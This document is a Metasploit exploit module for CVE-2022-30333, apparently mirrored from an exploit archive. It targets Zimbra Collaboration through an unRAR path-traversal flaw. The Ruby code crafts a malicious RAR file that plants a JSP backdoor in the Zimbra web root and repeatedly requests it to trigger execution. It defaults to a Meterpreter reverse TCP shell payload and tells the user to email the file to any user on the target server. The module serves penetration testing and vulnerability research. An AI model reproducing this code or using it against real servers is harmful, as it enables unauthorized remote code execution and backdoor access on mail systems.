Share
## https://sploitus.com/exploit?id=PACKETSTORM:167989
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::EXE  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Format::RarSymlinkPathTraversal  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'UnRAR Path Traversal in Zimbra (CVE-2022-30333)',  
'Description' => %q{  
This module creates a RAR file that can be emailed to a Zimbra server  
to exploit CVE-2022-30333. If successful, it plants a JSP-based  
backdoor in the public web directory, then executes that backdoor.  
  
The core vulnerability is a path-traversal issue in unRAR that can  
extract an arbitrary file to an arbitrary location on a Linux system.  
  
This issue is exploitable on the following versions of Zimbra, provided  
UnRAR version 6.11 or earlier is installed:  
  
* Zimbra Collaboration 9.0.0 Patch 24 (and earlier)  
* Zimbra Collaboration 8.8.15 Patch 31 (and earlier)  
},  
'Author' => [  
'Simon Scannell', # Discovery / initial disclosure (via Sonar)  
'Ron Bowes', # Analysis, PoC, and module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2022-30333'],  
['URL', 'https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/'],  
['URL', 'https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946'],  
['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P25'],  
['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P32'],  
['URL', 'https://attackerkb.com/topics/RCa4EIZdbZ/cve-2022-30333/rapid7-analysis'],  
],  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Targets' => [  
[ 'Zimbra Collaboration Suite', {} ]  
],  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',  
'TARGET_PATH' => '../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/',  
'TARGET_FILENAME' => nil,  
'DisablePayloadHandler' => false,  
'RPORT' => 443,  
'SSL' => true  
},  
'Stance' => Msf::Exploit::Stance::Passive,  
'DefaultTarget' => 0,  
'Privileged' => false,  
'DisclosureDate' => '2022-06-28',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.', 'payload.rar']),  
  
# Separating the path, filename, and extension allows us to randomize the filename  
OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (can, and should, contain path traversal characters - "../../").']),  
OptString.new('TARGET_FILENAME', [ false, 'The filename to write in the target directory; should have a .jsp extension (default: <random>.jsp).']),  
]  
)  
  
register_advanced_options(  
[  
OptString.new('SYMLINK_FILENAME', [ false, 'The name of the symlink file to use (must be 12 characters or less; default: random)']),  
OptBool.new('TRIGGER_PAYLOAD', [ false, 'If set, attempt to trigger the payload via an HTTP request.', true ]),  
  
# Took this from multi/handler  
OptInt.new('ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions.', 0 ]),  
OptInt.new('CheckInterval', [ true, 'The number of seconds to wait between each attempt to trigger the payload on the server.', 5 ])  
]  
)  
end  
  
# Generate an on-system filename using datastore options  
def generate_target_filename  
if datastore['TARGET_FILENAME'] && !datastore['TARGET_FILENAME'].end_with?('.jsp')  
print_Warning('TARGET_FILENAME does not end with .jsp, was that intentional?')  
end  
  
File.join(datastore['TARGET_PATH'], datastore['TARGET_FILENAME'] || "#{Rex::Text.rand_text_alpha_lower(4..10)}.jsp")  
end  
  
# Normalize the path traversal and figure out where it is relative to the web root  
def zimbra_get_public_path(target_filename)  
# Normalize the path  
normalized_path = Pathname.new(File.join('/opt/zimbra/data/amavisd/tmp', target_filename)).cleanpath  
  
# Figure out where it is, relative to the webroot  
webroot = Pathname.new('/opt/zimbra/jetty_base/webapps/zimbra/')  
relative_path = normalized_path.relative_path_from(webroot)  
  
# Hopefully, we found a path from the webroot to the payload!  
if relative_path.to_s.start_with?('../')  
return nil  
end  
  
relative_path  
end  
  
def exploit  
print_status('Encoding the payload as a .jsp file')  
payload = Msf::Util::EXE.to_jsp(generate_payload_exe)  
  
# Create a file  
target_filename = generate_target_filename  
print_status("Target filename: #{target_filename}")  
  
begin  
rar = encode_as_traversal_rar(datastore['SYMLINK_FILENAME'] || Rex::Text.rand_text_alpha_lower(4..12), target_filename, payload)  
rescue StandardError => e  
fail_with(Failure::BadConfig, "Failed to encode RAR file: #{e}")  
end  
  
file_create(rar)  
  
print_good('File created! Email the file above to any user on the target Zimbra server')  
  
# Bail if they don't want the payload triggered  
return unless datastore['TRIGGER_PAYLOAD']  
  
# Get the public path for triggering the vulnerability, terminate if we  
# can't figure it out  
public_filename = zimbra_get_public_path(target_filename)  
if public_filename.nil?  
print_warning('Could not determine the public web path, disabling payload triggering')  
return  
end  
  
register_file_for_cleanup(target_filename)  
  
interval = datastore['CheckInterval'].to_i  
print_status("Trying to trigger the backdoor @ #{public_filename} every #{interval}s [backgrounding]...")  
  
# This loop is mostly from `multi/handler`  
stime = Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i  
timeout = datastore['ListenerTimeout'].to_i  
loop do  
break if session_created?  
break if timeout > 0 && (stime + timeout < Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i)  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(public_filename)  
)  
  
unless res  
fail_with(Failure::Unknown, 'Could not connect to the server to trigger the payload')  
end  
  
Rex::ThreadSafe.sleep(interval)  
end  
end  
end